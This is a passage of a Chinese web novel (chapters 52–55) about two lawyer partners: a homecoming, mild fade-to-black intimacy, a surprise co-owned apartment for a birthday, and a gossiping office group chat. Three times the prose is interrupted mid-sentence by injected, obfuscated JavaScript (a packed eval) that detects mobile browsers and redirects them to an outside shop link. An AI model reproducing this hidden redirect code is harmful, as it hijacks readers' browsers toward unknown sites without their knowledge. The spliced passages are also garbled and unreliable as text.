陈幸安憨憨笑了笑，犹豫了一会，从包里拿出来一个红包：“严律师，你买新房了，这个是我一点心意，给你的乔迁礼。” 严熤有点诧异：“陈哥？” 陈幸安没说话，他学历不高，找不到太好的工作，更别说他初来C市就被骗了背上案底，当初的律师费严熤垫的，后面自己的工作也是严熤帮忙找的，他一直感激却找不到机会回报。 这些年他生活走上正轨，存了一点钱，还了严熤三万律师费，他本来以为这个费用已经很贵了，结果前段时间陈幸安给一个富商家里做装修，那个富商说到本地一个犯罪的企业家，花了大几百万请帮自己做辩护的那位赵律师打官司，他这才知道别说三万，要是没有严熤自己恐怕根本请不到赵律师。 可他想给严熤点什么吧，除了些不值钱的吃的，严熤也都不要其他的，甚至这次买房他想着自己补上严熤的中介费，都被拒绝了，思来想去，只能包了一个厚实的红包。 但严熤捏了捏红包，沉吟一会：“陈哥，你们公司也接室内装修的吧？” 陈幸安脑子有点转不过弯：“装修？你这个房子虽然精装修的，但没大问题的。C市的装修队大家都互相认识通气的，我这是仔细帮你打听过的，你当初不就说要可以尽快入住的嘛，还要重新改装啊？” 严熤点了点头：“嗯，有几个想法需要加装一下，我最近有点忙，就麻烦你帮 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不过还好，过了这么多年尹观庭对他撒娇的抵抗力还是零，甚至随着严熤撒娇功力的炉火纯青，这个抵抗力大概已经变成了负数，不管尹观庭多生气，求一次就熄火了，还生气就再来一次，总会没事的。 想着想着，车载屏幕上突然出现了尹观庭的来电显示，严熤还恍惚了一下，仔细确认了一下才发现不是幻觉，他单手点下左耳的蓝牙耳机，接通了电话。 “闪闪，”尹观庭的声音从耳机里传来，“我到家了，你今天什么时候下班？” 尹观庭这个差出了一个多月，好在严熤自己也忙，平时还能忍得住，这会听到他的声音，知道人已经回来，蔓延的思念顿时止都止不住。 他果断一打方向盘，直接往家里的方向开去，嘴上不忘黏糊：“师兄你什么时候回来的？也不告诉我一声，我去接你呀。” 尹观庭似乎笑了一下：“这不是怕严律太忙了吗，打个车也不费事。给你带了点吃的，就是上次穆总给的那个饼干，你不是特别喜欢吗？” 严熤心里一热，当时穆总就随手给尹观庭递了一个小饼干，尹观庭不爱吃这些就给了他，他随口说了一句挺好吃的，结果就发现尹观庭费半天劲想买，最后还是从穆总那里知道，这个饼干是本地特产，一般现烤现卖，不在网上销售，要买得去本地。 于是尹观庭这次出差就特地去这家店给严熤带了一些。 其实嘴刁如他也不至于被一个饼干迷倒，但他喜欢看尹观庭无条件宠着他的样子，于是这个饼干就变成了特别喜欢。 “买到了吗，谢谢师兄！爱你~”严熤语气轻快，不像是三十岁的大律师，反而像个十三岁的熊孩子，憋着一口气使坏，“不过我要加班，一会要跟赵哥见个客户，我会尽快回来的，你饿了就先吃饭，不用等我。” 他如愿听到了尹观庭努力压抑失望的声音：“好，那你先忙。不过我在飞机上吃过了，暂时不饿，等你回来吃吧。” 严熤从后视镜里看到自己的脸，眉眼弯弯，透着坏水：“嗯嗯，我会尽快的，师兄拜拜~” 说完直接摁了电话。 尹观庭：“……” 他没想到严熤说挂就挂，一时间有点怔愣，随即心绪怅然。 这么久不见，闪闪都不想自己的吗？难不成这就是七年之痒吗？ 不过念头一出尹律就被自己的矫情恶心到了，甩了甩头把失望丢出脑海，刚刚想给人献宝的心情淡了下去，面无表情地开始收拾自己的出差的行李。 53. 第 53 章 同为律师，尹观庭当然知道见客户有多麻烦，尤其是赵律的客户，直接找上门的那种没几个小时别想说清楚，所以嘴上说要等严熤一起吃饭，心里已经做好了得很晚才能见到严熤的准备。 不过他赶着回来想见人，事情处理完了立刻买了机票回来，收拾好行李和自己，才下午五点，接下来的时间总得找点什么事情做。 于是尹律一如既往地掏出电脑开始工作。 这次出差是帮穆总谈一个并购项目，谈了一个月，软硬兼施可算把条款敲定了，接下来就得把交易文书的初稿弄出来，尹观庭打开电脑，却始终没能集中注意力。 过了半天，word页面上依然空空如也。 他有点自嘲，没想到自己都快四十的人，居然也有这么因私废公的一天。 可和严熤在一起的时间越久，他就越习惯身边有一个粘着撒娇的爱人，一日不在，就感觉丢了什么东西。出差的一个月里还能用工作麻痹自己，敬业到客户都劝他休息一下，可回家了，这股矫情劲几乎就有点抑制不住。 他揉了揉眉心，对这样的自己有点厌烦。 就在他快自闭的时候，突然听到门锁响了一声，他手一顿，猛然起身往向玄关走去。 刚越过沙发，门就开了，接着一个人影直接冲进了他的怀里，抱住他转了一圈。 耳边响起爱人活力十足的声音：“惊不惊喜！意不意外！没想到吧！” 熟悉的触感，熟悉的声音，熟悉的气味，熟悉的人，尹观庭找回了真实感，他这会儿要是还想不明白是严熤故意骗他，那就不用混了，他好气又好笑，看着面前笑眯眯的人，忍不住在柔软的脸颊上狠狠捏了一把：“小骗子！” 严熤抱着他嘿嘿直乐：“给你个惊喜嘛，你就说你有没有感觉特别惊喜~是不是把见到我的十分高兴变成了十二分~” 尹观庭跟着他乐，刚刚负面情绪直接变成了催化剂，令他内心满涨的情感几乎冲破身体的桎梏，他在爱人唇边印下一吻，贴着呼吸哄他：“特别特别惊喜，不过闪闪，我见到你一直都是十二分高兴的。” 严熤耳朵悄悄红了：“你不是去谈业务的吗，怎么学一嘴甜言蜜语，就是这么哄客户签字的？” 尹观庭笑着捏捏他的耳垂：“不，我一般只哄你。” 他有些感慨，两人在一起七年，什么没羞没躁的事都做了，严熤从一开始的手足无措到现在游刃有余老司机，可还是对他这些调情的话毫无抵抗力，还真是几年如一日的可爱。 严熤不知道他在感叹什么，但许久不见的情侣怎么可能因为一个吻就满足，倒不如说这个亲吻和尹观庭哄他的样子引发了更大的欲望，他黏黏糊糊地抱上去，舔吻着他的脸颊嘴唇，含糊地问：“师兄你不饿哦？” 尹观庭同样被他惹出一身火气，一边配合他亲吻，一边逗他：“现在有点饿了，不然等会儿？” 严熤眼睛眯了眯，直接咬他一口：“没事，马上喂饱你。” 尹观庭被他按在沙发上的时候还有点遗憾，要是几年前的严闪闪哪儿有这个说骚话的余韵，成长起来都不好逗弄了。 …… …… 云收雨歇，两人相拥倒在床上，一动也不想动。 严熤像只餍足的猫咪，黏在人身上求摸摸，尹观庭一边熟练地顺毛，一边仔细打量挺久不见的爱人。 严熤身上的稚气已经消失殆尽，柔和精致的五官在气质的加成下也变成了成熟男人的俊美，只有干净的眼睛的一如既往，专注看人时仿佛一汪清泉在荡漾。 他本来很生气严熤因为一个小案子放弃已经初有起色的劳动业务转去刑事，可严熤言语间的认真还是让他放弃了干涉的想法，比起民事案件里的勾心斗角，刑事案件往往更能直面人性之恶，尤其是赵律的案子，找上他的无一不是些复杂疑难的案件，当事人少有无辜的，一边是活该的被告，一边是一把鼻滴一把泪的委托人，要是严熤是个愿意拿钱办事的律师还好说，偏偏他内心还怀着天真，尹观庭真怕哪天出了一个他无法接受的事情，让他重蹈自己的覆辙。 好在，严熤比他坚强的多。 这些年他看着自己的小朋友一步步成长起来，从赵律欣赏的助理到成为他的左膀右臂，再成为赵律都要平等相待合作伙伴，严熤在这其中对自己情绪的调节和认知令尹观庭自愧不如，他可以对着穷凶极恶的罪犯面不改色的完成自己的任务，事后毫不挂怀，也会对着意识淡薄惶恐不已的当事人温言安慰，听从内心柔软的情感给人以最大的帮助，他甚至可以为了一个案子在警局门口守株待兔一个多月，把烦得不行的办案警官变成说得上的话朋友…… 他变了这么多，又好像没变过，看向尹观庭的眼神还是那样单纯依赖。 他盯着严熤的时间太长，严熤不由睁开眼，不明所以地跟他对视：“师兄？怎么了？” 尹观庭抚过他的眉眼，帮他梳理了一下耳边的碎发，曼声道：“我们闪闪，越来越厉害了。” 他本意是想感叹严熤事业上的成就，但这个地点这个时间说这种话成功让严熤想歪了，他耳朵飞快地红了，有些矜持地咳嗽了一声：“要遵循尹律师你的指示的呀。” 尹观庭：“？” 严熤眨着眼，十分无辜：“你忘啦？你跟我说过不要在床上折腾你的。不然……” 他笑得有点害羞。 尹观庭：“……” 他这才反应过来自己说的话有点让人误会，但严熤这小子顺杆爬的也太快了吧，他一时哭笑不得，没好气地拍了一下严熤：“不是夸你这个。” 严熤本想回嘴，但放在一旁的手机震动了一下，他短暂压制住自己想跟师兄亲近的欲望，看了一眼消息，是陈幸安的消息，跟他说设计师已经找好了，问他什么时候有时间见一面。 他想了想，暂时没回，转而问起尹观庭：“师兄，你四十岁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740101|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生日是不是快到了？” “嗯？”尹观庭先是疑惑，继而想到了什么，露出一个好整以暇地笑容：“怎么？某人迟到了七年的礼物终于要送上来了？” 严熤抿了抿唇，虽然话是这么说，但现在还不能暴露。 “不是哦，”严熤笑得不怀好意，“男人四十，如狼似虎，师兄，你可不要说你不行。” 话语间，他被子下的手不太老实地动了动。 尹观庭被他突如其来的袭击弄得闷哼一声，等反应过来他说什么，直接气乐了，干脆翻身骑在他身上，带着尹律师一贯俯视众生的表情拍了拍他的脸：“来，宝贝，我让你见识一下什么叫如狼似虎。” 见识的结果就是两人第二天起来都不太舒服。 尹观庭刷牙的时候就感觉身后隐隐的疼痛，虽然事后做了处理，但昨天玩的有点过火也是真的。 就在他反思的时候，晚一步起床的严熤也进来了，从背后贴着他哼哼唧唧地撒娇：“我不舒服！” 尹观庭吐出牙膏沫，很是无奈：“唉，小祖宗，那怎么办？” 严熤睁大眼睛看着他，满脸都是“哄我！” 尹观庭刷完牙，转身温柔地跟他接了一个薄荷味的吻，严熤满意了：“你生日那天空出来吧？” “怎么，昨晚的事还想再来一次？”尹观庭明明知道他的意思，非要逗他，于是成功获得严熤一个“幼不幼稚”的眼神。 尹律心里这个气，到底谁幼稚，刚刚谁三十几了还要人哄的？ 但……谁让他在严熤这里没什么底线呢，于是只能捏了把严熤的脸泄愤，还得自己把话题拉回来：“放心好了，到时候我会腾出时间来陪你的。” 明明是他的生日，但是用词却是“陪你”，但两个当事人都不觉得有什么不对，两人里面，尹观庭从来对节日可有可无，严熤才是热衷的那个，在一起之后，遇到什么节日都变成了尹观庭陪着他胡闹，哪怕是各自的生日也不例外。 于是生日当天的计划定了下来，距离那天还有四个月，足够了。 …… …… 墙上的时钟指向了下午六点半，严熤收拾好自己的东西，起身走到办公室的窗边，放松身体极目远眺，鳞次栉比的高楼层层叠叠的映入眼帘，忙着下班的人群如同蚂蚁忙忙碌碌地朝着园区外涌去。 严熤心情异常愉快。 四个月过去，他手上的一个案件刚好进入审查起诉阶段，负责的检察官老熟人了，沟通十分顺畅，双方交换过意见之后，严熤有了十足把握可以让这个案子按不起诉处理，把需要补充的证据邮寄给检察院，又把嫌疑人家属要做的事情交代一番之后，严熤轻松愉快地准备下班。 他专心忙活这个案子忙了快半年，跑上跑下，终于获得了一个不错的结局，这是个好兆头。 他给尹观庭准备的礼物，肯定也会得到主人的喜欢。 严熤信心十足。 54. 第 54 章 弄好自己的工作之后，严熤又摸鱼了一会儿，估摸着尹观庭工作差不多了，这才晃悠着上楼。 在路上碰到新转所过来的律师，聊了两句，正好看见一个蔫搭搭的女孩子从尹观庭办公室出来。 是尹观庭的现任助理，同样是R大的毕业生，有个很可爱的名字，叫张诗萌，大家都叫她萌萌。 尹观庭年近不惑，外貌和三十多岁的时候比没什么变化，一如既往的斯文俊美，但当年那股拒人于千里之外的冷淡疏离却沉淀了下来，不似以往难么难以接近，但另有一番让人不敢放肆的气场。 与之相对的是脾气好了不少，比起六年前一年换三个助理，他这六年就换了四个，而且还有了一个长期跟随的团队律师，简直是史诗级的进步，把王信鸿感动得热泪盈眶的。 其实尹观庭的团队是有机会扩展成三人的，现在这位说是团队律师，其实更像是和尹观庭合作伙伴，经验丰富脾气也好，大部分时候都不在所里，只是分担了尹观庭一部分有点鸡肋的业务，而严熤本来很看好尹观庭上一任助理成为团队成员的，结果那位猝不及防就离职了。 而且他离职原因还和严熤有点关系，这位助理虽然钻石心脏，忍得住尹观庭的挑剔，但这种谦虚仅限于尹观庭这个级别的律师，有点过于自傲。他独立负责的第一个项目和严熤当初做的一个十分类似，参考严熤的文书版本之后，做了一个自认修改了严熤不完美之处的版本，然后被尹观庭打回来了，尹律还十分冷漠地让他“不懂别乱改”，小孩受不了这个委屈，于是愤而离职。 而据某不知名陶律师的消息，这位认为尹观庭恶意拉踩，几次工作中都觉得自己不如严熤，还在辞职申请中放话让尹观庭找严熤做助理，别试图把别人训化成严熤，直接律所八卦圈子里弄出来一折职场白月光的戏码。 严熤简直哭笑不得，事后和尹观庭说起这件事，尹律半点不觉得自己做的有问题，本来他对严熤就有滤镜（虽然本人不承认），再加上严熤七年时间直接从助理做到等同二级合伙人的位置，虽然有机遇的加持，但单论能力也可以秒杀一众刚出校园的助理律师和经验不足的低年级律师，这么一来那个小助理自信过头的可不就不招尹观庭待见了吗。 莫名躺枪严熤：“……” 算了，能怎么办呢？ 好在后来尹观庭对挤占了太多生活的工作也有点不耐烦，主动找了几次助理，加上严熤居中调节，可算没有重现尹律一年换三个的风采。 这位张诗萌同学是尹观庭亲自挑的，来了已经三个月了，某些时候虽然会出点小错误，整体表现还行。小姑娘耐心细致，就是有些怯弱，还有点讨好型人格，做不好事情就负罪感爆棚，犯错时那副“对不起我可以以死谢罪”的姿态直接堵得尹观庭骂人都轻了几个等级。 当然，对张诗萌来说，哪怕是这个等级，也很让人惶恐委屈，她看到严熤，一副快哭了但得救了的表情：“严律师，你一会儿有空吗？有个问题想请教一下。” 大家都知道严律师曾经是尹律师的助理，还是唯一一个从大魔王手下成功毕业的助理，且毕业之后还跟大魔王关系贼好，简直是律所传奇，所以如果搞不定尹律师，那就找严律师帮忙，这几乎成了大家的共识。 众人只以为尹律师这是对自己同门师弟的特别照顾，只有小陶律师笑而不语。 严熤看着她红红的眼眶，满眼同情：“今天不行哦，明天上午吧？具体是什么事情？” “哦哦好的，这个事情是一份法律意见书，之前尹律给了你的让我参考，然后……”被损到怀疑人生，尹律人这么好看怎么长了一张嘴！ 张诗萌想哭。 但得忍住。 “哎呀，小朋友放轻松，尹律又不会吃了你，”严熤理解地拍拍她，“刚工作谁都有做不好的时候，用不着这么悲伤，当然了，你要是被尹律骂得伤心了，别怕，一会我帮你报复回去。” 张诗“噗嗤”一乐，但随即愁眉不展的：“我知道会有做不好的时候，但特别怕耽误了尹律的事情……” 严熤随意一摆手：“嗨，你就这么想，能让你做的事情，十有八九不是什么重要的事情，给自己这么大压力干嘛。” 张诗萌一噎：“……” 虽然说得很有道理，但这样真的显得我很废物。 看着小师妹还是很自闭，严熤安慰道：“尹律有没有告诉你怎么改？按照他的思路认真改了就行，放轻松，只要你态度端正他不会说什么的。” 他看看办公室，门关着的，于是凑近张诗萌神神秘秘的：“想想清楚，尹律可是资本家，跟资本家有啥好愧疚的，摆烂完事了！” 张诗萌这会儿彻底忍不住了，笑出来一个小酒窝，用力点头：“嗯嗯，严律师放心吧，我会好好改的。” 几句话安慰好了师妹破碎的心灵，严熤这才踏入尹观庭办公室。 律所的办公室隔音效果一般，刚刚严熤在门口的话尹观庭一字不漏都听到了，包括最后怂恿张诗萌那段，这会儿见人终于进来了，忍不住冷哼一声：“和张诗萌聊得挺开心？” 严熤“噗”一声笑出来，把办公室门关紧，走到他身边弯腰拥住他，拉长了声音：“吃醋啊——” 尹观庭手上一用力直接把人拉到怀里，把人在腿上固定住，面无表情地捏着他的脸质问：“谁是资本家，嗯？” “你呀，”严熤半点不怵，用一种浮夸的咏叹调说道，“我的心都被你奴役了，无时无刻不在进行想你这项工作，甚至不用工资，不用激励唔……” 后面没能说完，被肉麻出一身鸡皮疙瘩的尹律直接用物理方式让他闭嘴。 两人接了一个短暂的吻，严熤这才笑眯眯地看着他：“首先说明我不是指导你，我就是真诚的提个建议，对新人不要嘴上不饶人，有个人帮你不是挺好的吗，我看萌萌就挺好的，耐心细致还好哄，虽然有点怯弱，但是问题不大，新人嘛，锻炼锻炼就好了。” 萌萌？好哄？尹观庭眼睛眯了眯：“那丫头给了你什么好处，这么帮她说话？” 噫，这醋味。 严熤内心啧啧有声，但面上一副很委屈的样子：“怎么会，我不是看她你还算满意吗？”他耷拉了眉眼，显得有点可怜，“你一忙就没空理我……当然我不是说非要你陪……就是……唉，算了，当我没说，师兄要是不喜欢，换一个助理吧，要我帮你筛选一下简历吗？” 说完，他目光盈盈地看过来，脸上写着“深明大义”，眼里写着“委曲求全”。 尹观庭：“……” 明知他是演的，但还是心软得一塌糊涂。 他咳了咳：“行吧，我注意一下，但是她也太不上心了，连引用的法条失没失效都不核实一下就给我交上来了！” 怎么还有这种错误啊，萌萌同学你得反思啊！ 严熤幸灾乐祸。 不过他今天不是来帮尹观庭调节和助理之间的矛盾的，而是有正事要做。 他竖起一根手指摇了摇：“师兄你忙完了吗？你生日了哦。” 尹观庭一怔，这才想起来，而严熤四个月前许诺的生日礼物…… 尹律因为助理低级错误的低气压缓解了，取而代之的是矜持的期待和兴奋，严熤准备了七年的礼物，会是什么？ 严熤看出他的高兴，于是从他身上起来，顺手拉一把他：“快收拾东西，我们去过生日。” 两人收拾东西下到停车场，尹观庭准备去开车时被严熤推到了副驾驶上，他还以为是严熤想自己开车，也没挣扎，然而等他坐上车正准备关门时，严熤弯下腰来替他把安全带系上，然后一本正经地说道：“好了尹律师，你现在被我绑架了，不准出声不准报警，不然我撕票了！” 尹观庭：“……” 他有点想笑，但严熤时不时就会来这么一出让他陪着演戏，倒也不算意外，于是他收敛笑意，相当配合地问：“你要多少钱，我可以给你。” 严熤“啧啧”有声：“果然很有钱嘛，不过现在不着急，”他从副驾驶的储物箱里拿出来一个蒸汽眼罩，直接给尹观庭带上了，“一会儿条子来了，得先带你转移一下。” 尹观庭无奈，只能配合带上眼罩，然后感觉严熤把他往椅背上按了按，还调整了椅背高度，让他躺的更舒服一些。 他忍不住调侃：“你这绑匪还很讲人道主义嘛。” “那是~”严熤尾音上扬，他几乎可以想爱出爱人脸上得意的小表情，一时有些心痒，而更心痒的是，严熤俯身亲了他一口，“毕竟尹律师姿容甚佳，劫不了财劫色我也不亏。” 眼睛被蒙住，身体感官就异常敏锐，尹观庭感觉柔软的触觉在唇上一闪而逝，而他没能抓住，一时有点遗憾。 然而招惹他的罪魁祸首已经哼着歌绕到了另一边，打开车门上车启动了车辆。 虽然不知道严熤要带他去哪儿，但尹观庭现在眼睛蒸汽眼罩蒙住，温热的感觉在眼周蔓延，最近的高强度工作下本身也有些疲惫，于是就这么靠在副驾驶上不知不觉地睡了过去了。 等他惊醒过来时，一眼就看到了车载屏幕上大大的21：00，他这才发现自己眼罩已经被摘了，而他一觉睡了三个多小时。 “师兄你醒了？” 他循声看去，严熤正趴在方向盘上看他。 “嗯，”他应了一句，捏了捏鼻梁让自己清醒一些，随口问道，“这是哪儿？” 严熤答道：“明河·不夜城。” 尹观庭捏着鼻梁的手一顿，他隐隐猜到了什么，但却不敢相信。 他自己的房子买了快二十年，是当时的富人区，如今已经有些老旧了，更别说律所搬过一次办公室，距离他家开车都得一个多小时，本来他就有换房子的念头，和严熤在一起之后这个念头就更强烈了。 而明河·不夜城就是他看中的一个楼盘，开发商是老客户明河集团，位置风景绝佳，楼下就是琉玉河公园和穿城而过的琉玉河，距离律所走路都只要二十分钟，距离C市最繁华的中央CBD也不过开车半小时，附近地铁公交大型超市一应俱全，这楼盘备受瞩目，一开盘就没了。 本来作为明河集团一直以来的法律顾问，尹观庭是可以让明河的大老板陈总帮忙留一套的，但是等他电话过去问询的时候，陈总十分抱歉地说没想到尹律师也要，但是我们都卖出去了，很不好意思，尹观庭当然不能怪罪客户 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740102|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，客气几句就挂了。 然而现在严熤把他带了进来。 尹观庭感觉自己心脏“砰砰”直跳，甚至感觉过去三四十年心跳都没这么快过。 严熤领着他刷卡进了单元楼，上到12层，打开了1205的房门。 尹观庭几乎是一眼就认出来这是自己当初看中的户型，有一面巨大的落地窗，窗外是夜幕下装饰着星星点点灯光的琉玉河公园，琉玉河上河灯蔓延成一条线，穿过繁华的道路，绕开高耸的建筑，静静流出城市。 楼层很高，楼下的喧嚣几乎无法听闻，而天际的繁星缺像近在咫尺。 严熤“啪”地按开开关，柔和的灯光模糊了尹观庭眼中的星星，他这才看到室内的装修，宽阔的客厅，敞开的书房和主卧，简约又不失精致的装修风格，还有种种眼熟的细节——和他现在的房子装饰一样，都是他习惯的使用的小东西。 他后知后觉地想起来自己被陈总拒绝时的感受到的不对劲是什么了，这种生意人手里怎么可能没有拿来做人情的房源，而严熤还在自己身边时就接手了明河集团的事务，和陈总也能说得上话…… 他闭了闭眼睛，有种莫名的酸软侵蚀了内心，再开口时声音哑得吓自己一跳：“所以陈总……” 严熤从他身后抱住他，把脑袋搁在他肩膀上：“猜对了哦，我跟陈总说你要结婚了，嫂子想买房给你惊喜，让他帮忙保密，看，这不就没房源了吗？” 尹观庭往身后温暖的怀抱里靠了靠，忍不住有些想笑：“嫂子是谁？你吗？” 严熤偏头咬他一口：“你难不成还要别人！你知道陈总在我面前把这个‘嫂子’吹上天的时候我是什么感觉吗！你知不知道我有多尴尬，你都不心疼我！” 尹观庭真的笑了出来：“你这么骗他，后面发现是你自己买的房，他没找你麻烦？” 严熤漫不经心的答道：“那谁知道，他日理万机的也没空管这个吧，而且就算知道了，这种老狐狸估计也不会多嘴，毕竟我跟你关系更近，万一戳破了什么，他跟你还要不要合作了。” 尹观庭心情有些复杂，每次严熤在他面前分析这些的时候，他都会陷入这种矛盾，一方面欣慰于他的成长，一方面又希望他还是那个青涩的年轻人，遇事只能依赖着他。 他把这些不合时宜收回来，转过身抱住严熤：“闪闪……” 严熤却抱住他摇了摇，突然开口问道：“你是不是以为这个房子都是送给你的？” 嗯？尹观庭一挑眉：“难道不是？” 严熤放开他，在电视柜下方拿出来一个文件袋，鲜红的房本，以及一叠A4纸，他把这些都递给了尹观庭。 尹观庭接过来一看，是一份合同，封面上写着 “房屋共有协议”，翻开第一页，甲乙方分别写了严熤和他的名字。 严熤认真地看着他：“师兄你还记得你给我的卡吗？” 尹观庭怔了一下，他曾经让严熤去开了一张卡，然后以家庭支出共享财产为由，把自己一半多的收入都打到了那张卡里，说是共享，其实在他看来就是给小朋友的零花钱，他并没有过问过里面还有多少。 “你当时说，现代婚姻制度的本质就是财产权的分配，以财产绑定人身关系，进而维系婚姻的稳定。所以我们虽然无法获得婚姻法上认定的人身关系，但可以人为创造与夫妻无异的财产关系，这是你对这段关系的承诺和看法，是给我的定心丸。怎么样，一字不差吧？”严熤显得很是得意，“所以这个合同，就是我给你的创造的‘夫妻共同财产’，是我给你的定心丸……本来我想直接房本上写共有的，但是办登记必须本人到场，要是你去了惊喜就暴露了，所以只能用这种方式迂回一下。” 他过来抱住尹观庭：“你快点把合同签了，到时候抽个时间我们去把登记办了吧。” 他说得认真而深情，仿佛说得不是去登记房屋共有，而是去登记结婚。 尹观庭不自觉捏紧了合同，好半天才找回自己的声音：“……这个房子可不便宜，你没有动用我给的卡吗？你哪里来的钱？” 严熤摸了摸鼻子：“首付才30%，自己攒攒就有了，不过以后，师兄你得跟我一起还贷款了~” 他又抱住尹观庭讨好地蹭了蹭。 “好，我们一起。”尹观庭用力咽下哽在喉间的滞涩感，毫不犹豫地同意了，他看着面前因为自己的回答高兴起来的青年，恍惚间仿佛又经历了一遍这些年相伴的时光。 那些流水光阴缓缓汇集，最终形成了面前这个人的样子。 他叫出了那个私下相处时，很久没有叫过的名字：“严熤。” 严熤还以为自己没用他的卡把人惹生气了，被他喊得一惊，不由得睁大了眼睛。 尹观庭严肃两秒，在严熤有些忐忑的表情中笑了起来，温柔地说道：“我爱你。” 睁大的眼睛慢慢弯起来，笑意如同泉水流淌出来，眼睛的主人抱紧他，欢欢喜喜地给他回应：“尹观庭，我也爱你！” 于是尹观庭满足地收紧手臂，把他抱进怀里。 他们在夜空下拥抱，萦绕着肉眼可见的亲密和幸福。 过去如此，现在如此，未来亦会如此。 55. 第 55 章 XXXX年X月X日 【杨欣泉|天人和律师】邀请【陶霁虹|天人和律师】、【辛如芳|天人和律师】、【周舟|行政秘书】、【袁和韵|天人和律师】加入群聊 【杨欣泉|天人和律师】修改群名为“伏羲传人” 【泉水叮咚】：啊啊啊看到了吧！看到了吧！ 【想桃吃】：看到了看到了！ 【小芳姑娘】：看到了看到了！ 【小芳姑娘】：我的妈呀！ 【小芳姑娘】：这也太有感觉了 【舟。】：太绝了太绝了，我怎么没发现他们俩这么有CP感 【想桃吃】：我直接一个磕！ 【袁和韵】：什么什么？？我错过了什么！ 【舟。】：和韵你今天不在律所简直太可惜了！ 【舟。】：（尹观庭和严熤相拥跳舞.jpg） 【舟。】：颜狗盛宴！ 【袁和韵】：尹律好帅！（擦口水.jpg） 【袁和韵】：等等，这是严熤？？？ 【袁和韵】：我还以为主任开窍了给我们请了专业的演员！ 【袁和韵】：（土拨鼠尖叫.jpg） 【想桃吃】：就问你小严蛊不蛊！ 【想桃吃】：我他妈当场弯成蚊香！ 【泉水叮咚】：桃子你不用弯，现在就可以上！ 【袁和韵】：我们小严他不帅吗！ 【舟。】：我们小严他人不好吗！ 【袁和韵】：男未婚女未嫁！ 【袁和韵】：有什么不可以！ 【想桃吃】：不了不了 【想桃吃】：(狗都不谈恋爱.jpg) XXXX年X月X日伏羲传人 【舟。】：啧啧啧，小严这贤妻良母的 【想桃吃】：怎么说？ 【舟。】：他和尹律一起吃饭的，饭都还是自己做的 【想桃吃】：什么？ 【想桃吃】：他还会做饭？ 【舟。】：色香味俱全好吧，上次他给我们分的那个果脯你们还记得吗？ 【泉水叮咚】：哦哦那个芒果干是吧？ 【袁和韵】：那个我记得很好吃的，我本来还想问他哪儿买的来着的，结果后面忙忘了 【袁和韵】：（托腮.jpg） 【舟。】：和韵你不用问了，那个是小严自己做的 【袁和韵】：（仓鼠震惊.jpg） 【想桃吃】：他还有这种闲心？？自己腌果脯？？ 【舟。】：我也这么问，然后你猜他怎么说？ 【小芳姑娘】：（偷听.jpg） 【舟。】：他说尹律给他送了一箱芒果，吃不完就干脆腌成果脯了…… 【小芳姑娘】：我怎么没有这种送我芒果的老板 【小芳姑娘】：（嫉妒使我变形.jpg） 【舟。】：所以上次尹律吃的芒果干也是他送的吧？ 【舟。】：（猫猫沉思.jpg） 【小芳姑娘】：尹律还会吃芒果干？？？ 【袁和韵】：（仓鼠震惊.jpg） 【泉水叮咚】：我也…… 【泉水叮咚】：甚至一度以为尹律不用吃饭的 【小芳姑娘】：有种天仙下凡的失落感 【舟。】：也没有下凡 【舟。】：毕竟除了小严给他送的，其它他也不吃 【想桃吃】：怎么回事！好磕起来了 【想桃吃】：（脸红.jpg） 【舟。】：（脸红.jpg） 【小芳姑娘】：（脸红.jpg） 【袁和韵】：（脸红.jpg） 【泉水叮咚】：（脸红.jpg） XXXX年X月X日伏羲传人 【袁和韵】：嘶—— 【泉水叮咚】：嘶—— 【小芳姑娘】：嘶—— 【舟。】：嘶—— 【想桃吃】：发病呢？ 【袁和韵】：不是，是我现在才醒，然后发现了华点 【袁和韵】：昨天怎么感觉尹律有点不对劲 【舟。】：你不是一个人 【泉水叮咚】：你不是一个人 【泉水叮咚】：他昨天好甜啊 【泉水叮咚】：（流口水.jpg） 【舟。】：甜？ 【舟。】：你确定你说的是尹律？ 【想桃吃】：薛定谔的甜是吧 【泉水叮咚】：不是不是，我的意思是，就是那种谈恋爱的甜 【小芳姑娘】：那可不，他昨天都唱情歌了 【舟。】：那是你的眼神~ 【小芳姑娘】：明亮又美丽~ 【泉水叮咚】：停！ 【泉水叮咚】：别唱了！ 【泉水叮咚】：所以尹律谈恋爱了？ 【袁和韵】：什么我男神被人拐走了！ 【袁和韵】：（土拨鼠尖叫.jpg） 【小芳姑娘】：但是他唱歌的时候看的好像是小严。。。。 【小芳姑娘】：（假的吧.jpg） 【袁和韵】：什么拐走我男神的是小严？！ 【袁和韵】：（那没事了.jpg） 【小芳姑娘】：和韵你…… 【小芳姑娘】：（没眼看.jpg） 【泉水叮咚】：（没眼看.jpg） 【舟。】：（没眼看.jpg） 【袁和韵】：干嘛啊你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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【泉水叮咚】：所以没有人告诉我闪闪是怎么回事吗？ 【是萌萌】：啊？闪闪是严律师的小名啊 【泉水叮咚】：？ 【袁和韵】：？ 【小芳姑娘】：？ 【舟。】：？ 【袁和韵】：……所以萌萌你是怎么知道的？ 【是萌萌】：啊？尹律都是这么叫他的啊，严律师跟我说这是他小名 【小芳姑娘】：所以…… 【舟。】：所以…… 【袁和韵】：所以…… 